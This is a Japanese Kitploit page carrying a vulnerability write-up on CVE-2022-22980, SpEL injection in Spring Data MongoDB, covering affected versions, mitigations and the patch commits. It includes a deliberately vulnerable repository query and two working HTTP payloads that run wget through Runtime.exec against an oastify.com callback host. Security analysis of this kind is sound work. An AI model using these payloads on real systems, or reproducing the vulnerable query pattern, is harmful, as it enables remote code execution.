Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22980 — [CVE-2022-22980] Spring Data MongoDB SpEL式インジェクション | Kitploit
ツール/GitHubGitHub/murataydemir/cve-2022-22980
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育データベースセキュリティ
GitHubmurataydemir/cve-2022-22980

CVE-2022-22980

[CVE-2022-22980] Spring Data MongoDB SpEL式インジェクション

リポジトリを見る
5114年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2022-22980] Spring Data MongoDB SpEL式インジェクション


MongoDB は、大量のデータストレージに使用される、スケーラブルかつ柔軟性のあるドキュメント指向のNoSQLデータベースです。従来のリレーショナルデータベースのようにテーブルや行を使用する代わりに、MongoDBはコレクションとドキュメントを利用します。ドキュメントはキーと値のペアで構成され、MongoDBにおけるデータの基本単位です。

Spring Data for MongoDB は、包括的なSpring Dataプロジェクトの一部であり、新しいデータストアに対して親しみやすく一貫性のあるSpringベースのプログラミングモデルを提供しつつ、ストア固有の機能や能力を保持することを目的としています。Spring Data MongoDBプロジェクトは、MongoDBドキュメントデータベースとの統合を提供します。Spring Data MongoDBの主要な機能領域は、MongoDBのDBCollectionと対話するためのPOJO中心のモデルと、リポジトリスタイルのデータアクセス層を簡単に記述できることです。

2022年6月20日、VMwareは公式サイトで、Spring Data MongoDBに影響を与えるSpEL式インジェクション(リモートコード実行に繋がる)脆弱性に関するセキュリティアドバイザリを公開しました。CVE-2022-22980 脆弱性の詳細情報は以下を参照してください。

脆弱性
Spring Data MongoDBアプリケーションは、@Query または @Aggregation アノテーション付きのクエリメソッドで、値バインディングのためにSpEL式内にクエリパラメータプレースホルダを含むSpEL式を使用し、入力がサニタイズされていない場合、SpELインジェクションに対して脆弱です。または、追加のアプリケーションコードを伴わずにリポジトリクエリメソッドを公開する設定(Spring Data RESTなど)も脆弱です。

具体的には、以下のすべてが当てはまる場合、アプリケーションは脆弱です:

  • リポジトリのクエリメソッドに または がアノテーションされており、それらがSpEL(Spring式言語)を使用し、SpEL式内で入力パラメータ参照(、、…)を使用している
@Query
@Aggregation
?0
?1
  • アノテーション付きのクエリまたは集約の値/パイプラインに、式内でパラメータプレースホルダ構文を使用したSpEL部分が含まれている
  • ユーザー提供の入力がアプリケーションによってサニタイズされていない
  • Spring Data MongoDB 3.4.0、3.3.0~3.3.4、およびそれ以前のバージョン
  • 以下のいずれかが当てはまる場合、アプリケーションは脆弱ではありません:

    • アノテーション付きのリポジトリクエリまたは集約メソッドに式が含まれていない
    • アノテーション付きのリポジトリクエリまたは集約メソッドが式内でパラメータプレースホルダ構文を使用していない
    • ユーザー提供の入力がアプリケーションによってサニタイズされている
    • リポジトリが QueryMethodEvaluationContextProvider を使用してSpELの使用を制限するように構成されている

    影響を受けるバージョン
    Spring Data MongoDB 3.4.0、3.3.0~3.3.4、およびそれ以前のバージョンは、CVE-2022-22980 Spring Data MongoDB SpEL式インジェクション 脆弱性の影響を受けます。

    ステータス
    修正を含むSpring Data MongoDB 3.4.1および3.3.5がリリースされています。

    緩和策と推奨される回避策
    推奨される対応は、Spring Data MongoDB 3.4.1および3.3.5以上にアップデートすることです。これを行った場合、回避策は必要ありません。ただし、アップグレードが迅速に行えない状況にある場合もあります。そのため、Springチームは以下の回避策を提供しています。

    • 配列構文の使用: アプリケーションがユーザー入力によって制御される動的なSpEL式を必要とする場合、式内でパラメータ参照(?0 の代わりに [0])を使用するようにクエリまたは集約の宣言を書き直す
    • カスタムリポジトリメソッドの実装: SpEL式をカスタムリポジトリメソッドの実装に置き換えることは、アプリケーションコード内で動的クエリを組み立てるための有効な回避策です。詳細については、リポジトリのカスタマイズに関するリファレンスドキュメントを参照してください。
    • クエリメソッドを呼び出す前にパラメータをサニタイズする

    パッチ分析:GitHub Issueと関連コミット
    SpELインジェクション脆弱性に関するGitHub Issueは github.com/spring-projects/spring-data-mongodb/issues/4089 からアクセスできます。
    以下の2つのコミットにより、関連する脆弱性が修正されました。

    • 7c5ac764b343d45e5d0abbaba4e82395b471b4c4
    • 5e241c6ea55939c9587fad5058a07d7b3f0ccbd3

    これらのコミットにより、spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java クラスが追加されました。

    root@kitploit:~
    class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
    
    	ValueProvider valueProvider;
    	ExpressionParser expressionParser;
    	Supplier<EvaluationContext> evaluationContext;
    
    	public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
    			Supplier<EvaluationContext> evaluationContext) {
    
    		this.valueProvider = valueProvider;
    		this.expressionParser = expressionParser;
    		this.evaluationContext = evaluationContext;
    	}
    
    	@Nullable
    	@Override
    	public <T> T evaluate(String expression) {
    		return evaluateExpression(expression, Collections.emptyMap());
    	}
    
    	public EvaluationContext getEvaluationContext(String expressionString) {
    		return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
    	}
    
    	public SpelExpression getParsedExpression(String expressionString) {
    		return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
    				.parseExpression(expressionString);
    	}
    
    	public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
    
    		SpelExpression expression = getParsedExpression(expressionString);
    		EvaluationContext ctx = getEvaluationContext(expressionString);
    		variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
    
    		Object result = expression.getValue(ctx, Object.class);
    		return (T) result;
    	}
    }
    

    Screenshot 2022-06-28 102025

    spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java クラスも以下のように修正されました。

    Screenshot 2022-06-28 105719

    spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java クラスの最終版(修正済み)は以下の通りです:

    root@kitploit:~
    package org.springframework.data.mongodb.util.json;
    
    import java.util.Map;
    import java.util.function.Function;
    import java.util.function.Supplier;
    
    import org.springframework.data.mapping.model.SpELExpressionEvaluator;
    import org.springframework.data.spel.ExpressionDependencies;
    import org.springframework.data.util.Lazy;
    import org.springframework.expression.EvaluationContext;
    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;
    import org.springframework.lang.Nullable;
    
    /**
     * Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
     * To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
     *
     * @author Christoph Strobl
     * @author Mark Paluch
     * @since 2.2
     */
    public class ParameterBindingContext {
    
    	private final ValueProvider valueProvider;
    	private final SpELExpressionEvaluator expressionEvaluator;
    
    	/**
    	 * @param valueProvider
    	 * @param expressionParser
    	 * @param evaluationContext
    	 */
    	public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
    			EvaluationContext evaluationContext) {
    		this(valueProvider, expressionParser, () -> evaluationContext);
    	}
    
    	/**
    	 * @param valueProvider
    	 * @param expressionParser
    	 * @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
    	 * @since 2.2.3
    	 */
    	public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
    			Supplier<EvaluationContext> evaluationContext) {
    		this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
    	}
    
    	/**
    	 * @param valueProvider
    	 * @param expressionEvaluator
    	 * @since 3.1
    	 */
    	public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
    		this.valueProvider = valueProvider;
    		this.expressionEvaluator = expressionEvaluator;
    	}
    
    	/**
    	 * Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
    	 * {@link EvaluationContext} based on {@link ExpressionDependencies}.
    	 *
    	 * @param valueProvider
    	 * @param expressionParser
    	 * @param contextFunction
    	 * @return
    	 * @since 3.1
    	 */
    	public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
    			Function<ExpressionDependencies, EvaluationContext> contextFunction) {
    
    		return new ParameterBindingContext(valueProvider,
    				new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
    
    					@Override
    					public EvaluationContext getEvaluationContext(String expressionString) {
    
    						Expression expression = getParsedExpression(expressionString);
    						ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
    						return contextFunction.apply(dependencies);
    					}
    				});
    	}
    
    	@Nullable
    	public Object bindableValueForIndex(int index) {
    		return valueProvider.getBindableValue(index);
    	}
    
    	@Nullable
    	public Object evaluateExpression(String expressionString) {
    		return expressionEvaluator.evaluate(expressionString);
    	}
    
    	@Nullable
    	public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
    
    		if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
    			return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
    					variables);
    		}
    		return expressionEvaluator.evaluate(expressionString);
    	}
    
    	public ValueProvider getValueProvider() {
    		return valueProvider;
    	}
    }
    

    また、ParameterBindingJsonReader.java クラスの再配置により、クエリまたは集約アノテーションの値内で使用されるパラメータをバインドする際に、パラメータタイプが保持されることが保証されました。以下のスクリーンショットで、ParameterBindingJsonReader.java クラスのコミット変更を確認できます。

    Screenshot 2022-06-28 145001

    Screenshot 2022-06-28 145043

    Screenshot 2022-06-28 145303

    攻撃手順
    攻撃手順を説明する前に、サンプル脆弱性プロジェクト(@Query アノテーション使用)の UserRepository.java クラスを以下に示します:

    root@kitploit:~
    package com.example.mongodb.repository;
    
    import org.springframework.data.mongodb.repository.MongoRepository;
    
    import com.example.mongodb.model.User;
    import org.springframework.data.mongodb.repository.Query;
    
    public interface UserRepository extends MongoRepository<User, String> {
    
       @Query("{ 'userName' : ?#{?0}}")
       public User findByUserNameLike(String userName);
    }
    

    com.example.mongodb.repository.UserRepository 名前空間をインポートするサンプルコントローラクラス UserController.java も以下に示します:

    root@kitploit:~
    package com.example.mongodb.controller;
    
    import com.example.mongodb.model.User;
    import com.example.mongodb.repository.UserRepository;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.http.MediaType;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RequestBody;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseStatus;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.http.HttpStatus;
    
    import java.io.UnsupportedEncodingException;
    import java.net.URLDecoder;
    
    @RestController
    @RequestMapping("/v1/user")
    public class UserController {
    
       @Autowired
       private UserRepository userRepository;
    
       @ResponseStatus(HttpStatus.CREATED)
       @PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
       public User createUser(@RequestBody User user) {
          return userRepository.save(user);
       }
    
       @PostMapping(value="/get")
       public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
          return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
       }
    

    攻撃リクエストとレスポンス

    root@kitploit:~
    POST /v1/user/get HTTP/1.1
    Host: vulnerablehost:9090
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    
    keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
    
    root@kitploit:~
    HTTP/1.1 500 
    Content-Type: application/json
    Date: Wed, 22 Jun 2022 14:21:20 GMT
    Connection: close
    Content-Length: 112
    
    {
      "timestamp": "2022-06-22T14:21:20.604+00:00",
      "status": 500,
      "error": "Internal Server Error",
      "path": "/v1/user/get"
    }
    

    1 2 Screenshot 2022-06-22 162712

    root@kitploit:~
    POST /v1/user/get HTTP/1.1
    Host: vulnerablehost:9090
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 116
    
    keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
    
    root@kitploit:~
    HTTP/1.1 500 
    Content-Type: application/json
    Date: Wed, 22 Jun 2022 14:36:10 GMT
    Connection: close
    Content-Length: 112
    
    {
      "timestamp": "2022-06-22T14:36:10.827+00:00",
      "status": 500,
      "error": "Internal Server Error",
      "path": "/v1/user/get"
    }
    

    4 5 Screenshot 2022-06-22 164810

    この脆弱性の修復に関する詳細情報は、以下のリソースを参照してください:

    • VMwareアドバイザリ:アノテーション付きリポジトリクエリメソッドを介したSpring Data MongoDB SpEL式インジェクション脆弱性(CVE-2022-22980)
    • Tenableアドバイザリ:CVE-2022-22980
    • Springアドバイザリ:Spring Data MongoDB SpEL式インジェクション脆弱性(CVE-2022-22980)
    • GitHub Advisory Database:Spring Data MongoDBにおけるSpELインジェクション
    • NISTアドバイザリ:CVE-2022-22980
    • MITREアドバイザリ:CVE-2022-22980

    クレジット:

    • この問題は、NSFOCUS TIANJI LabのZewei Zhangによって特定され、責任を持って報告されました。
    • github.com/kuron3k0/Spring-Data-Mongodb-Example
    • github.com/trganda/CVE-2022-22980
    • github.com/li8u99/Spring-Data-Mongodb-Demo
    • github.com/jweny/cve-2022-22980-exp
    ツールをダウンロード